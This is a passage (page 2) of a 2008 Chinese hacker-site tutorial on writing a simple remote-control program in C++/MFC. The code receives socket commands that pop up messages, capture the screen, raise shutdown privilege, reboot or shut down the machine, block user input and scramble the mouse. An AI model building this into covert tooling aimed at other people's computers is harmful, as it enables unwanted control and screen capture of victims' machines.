通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络编程 >> 文章正文
自己动手编写简单远程控制
责任编辑:酷酷の鱼   更新日期:2008-1-18
 


switch(szBuff[0])
{
case 'S': // 显示消息
ret = recv(sock,szBuff,sizeof(szBuff),0);
szBuff[ret] = '\0';
ShowMessage(szBuff);
break;
case 'C': // 系统控制
ret = recv(sock,szBuff,sizeof(szBuff),0);
szBuff[ret] = '\0';
ret = atoi(szBuff);
SystemControl(ret);
break;
case 'M': // 鼠标控制
ret = recv(sock,szBuff,sizeof(szBuff),0);
szBuff[ret] = '\0';
ret = atoi(szBuff);
MouseControl(ret);
break;
default:
break;
}
}
return 0;

接下来就是三个处理函数了,全部贴出来。注意这几个函数都要定义成全局的,不要定义成类的成员函数,那样的话在线程函数里面访问不到。
void ShowMessage(LPCTSTR msg)
{ ::MessageBox(NULL,msg,"信息",MB_OK);
}
void SystemControl(int select)
{
switch(select)
{
case 0:
OpenCDoor(); // 打开光驱
break;
case 1:
CloseCDoor(); // 关闭光驱
break;
case 2:
SnapScreen(); // 截获屏幕
break;
case 3:
PreProcess(); // 提升进程权限
RebootSystem(); // 重启系统
break;
case 4:
PreProcess();
ShutDown(); //关闭系统
break;
default:
break;
}
}
void MouseControl(int select)
{
int i = 0;
int nX = 0;
int nY = 0;

switch(select)
{
case 0:
// 25秒内随机移动鼠标
for(i = 0; i <= 49; i ++)
{
nX = rand() % 1024;
nY = rand() % 768;
::SetCursorPos(nX,nY);
Sleep(500);
}
break;
case 1:
// 10秒内锁定鼠标键盘响应
BlockInput(TRUE);
Sleep(10000);
BlockInput(FALSE);
break;
case 2:
// 10秒内交换鼠标左右键¸´
SwapMouseButton(TRUE);
Sleep(10000);
SwapMouseButton(FALSE);
break;
default:
break;
}
}
最后把一些函数的详细过程贴出来。
//截获屏幕,该段代码来自《黑客防线》
BOOL SnapScreen()
{
CDC dc;
int nWidth;
int nHeight;

dc.CreateDC("DISPLAY",NULL,NULL,NULL);

nWidth = GetDeviceCaps(dc,HORZRES);
nHeight = GetDeviceCaps(dc,VERTRES);

CDC dcMem;
dcMem.CreateCompatibleDC(&dc);

CBitmap bitmap;
bitmap.CreateCompatibleBitmap(&dc,nWidth,nHeight);

CBitmap *pOldBitmap = dcMem.SelectObject(&bitmap);
dcMem.BitBlt(0,0,nWidth,nHeight,&dc,0,0,SRCCOPY);
dcMem.SelectObject(pOldBitmap);

CString strFile = "C:\\test.bmp";
SaveBitmapToFile(dc.GetSafeHdc(),bitmap,strFile);
dc.DeleteDC();

return TRUE;
}
// SaveBitmapToFile函数将截获到的图像保存问bmp文件
BOOL SaveBitmapToFile(HDC hDc, CBitmap &bitmap, LPCTSTR lpszFileName)
{
BOOL ret = TRUE;
BITMAP btm;
bitmap.GetBitmap(&btm);
DWORD size = btm.bmWidthBytes * btm.bmHeight;

HGLOBAL hMem = GlobalAlloc(GMEM_FIXED|GMEM_ZEROINIT,size);
if(hMem == NULL)
return FALSE;

LPSTR lpData = (LPSTR)GlobalLock(hMem);

BITMAPINFOHEADER bih;
bih.biSize = sizeof(BITMAPINFOHEADER);
bih.biWidth = btm.bmWidth;
bih.biHeight = btm.bmHeight;
bih.biPlanes = 1;
bih.biBitCount = btm.bmBitsPixel;
bih.biCompression = 0;
bih.biSizeImage = size;
bih.biXPelsPerMeter = 0;
bih.biYPelsPerMeter = 0;
bih.biClrUsed = 0;
bih.biClrImportant = 0;

if(GetDIBits(hDc,bitmap,0,bih.biHeight,lpData,(BITMAPINFO *)
&bih,DIB_RGB_COLORS) == 0)
{
GlobalFree(hMem);
return FALSE;
}

BITMAPFILEHEADER bfh;
bfh.bfType = ((WORD)('M' << 8) | 'B');
bfh.bfReserved1 = 0;
bfh.bfReserved2 = 0;
bfh.bfSize = sizeof(bfh) + size;
bfh.bfOffBits = sizeof(bfh);

CFile bf;
if(bf.Open(lpszFileName,CFile::modeCreate|CFile::modeWrite))
{
bf.WriteHuge(&bfh,sizeof(BITMAPFILEHEADER));
bf.WriteHuge(&bih,sizeof(BITMAPINFOHEADER));
bf.WriteHuge(lpData,size);
bf.Close();
}
else
ret = FALSE;
GlobalFree(hMem);
return ret;
}
// 提升进程权限的代码
BOOL PreProcess()
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if(OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken) == 0)
return FALSE;
if(LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid) == 0)
return FALSE;

tkp.PrivilegeCount=1;
tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
if(AdjustTokenPrivileges(hToken,false,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0) == 0)
return FALSE;
return TRUE;
}
其他就没什么好贴的了,就先这么多吧,懒得写了。

上一页  [1] [2] 

  • 上一篇文章:
  • 下一篇文章: 没有了
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月18日发布 每日计算机病毒及木马播报
    普通文章 07年病毒高速出新“工业化”入侵特征明显
    普通文章 病毒制造门槛低 互相模仿导致泛滥
    普通文章 我国IP地址数已达到1.35亿个 但缺口仍然很大
    普通文章 关于URL解析漏洞在PDF文档中的利用
    推荐文章 推荐:对网软网上购物系统的一点点分析
    普通文章 自己动手编写简单远程控制
    普通文章 IP-Tools中的密码学算法详细分析
    普通文章 **CHM 3.50 注册流程及算法分析(续)
    热门文章
    普通文章windows下利用OpenVPN搭建VPN服务器
    普通文章验证码 kaptcha 杂谈
    普通文章计算机病毒鼻祖里奇拟挑战谷歌
    普通文章利用漏洞传播 内嵌在网页中的木马病毒
    普通文章2007年病毒感染3000余万台电脑
    普通文章假低价信息吸引买主 盗号程序10秒内划走银行卡存款
    普通文章捷克黑客入侵电视节目遭指控
    普通文章美国男子用垃圾邮件操纵中国公司股价被起诉
    普通文章White_Dune 存在本地缓冲区溢出及格式串处理漏洞
    普通文章Trolltech Qt QSslSocket类证书验证绕过安全限制漏洞
    精彩专题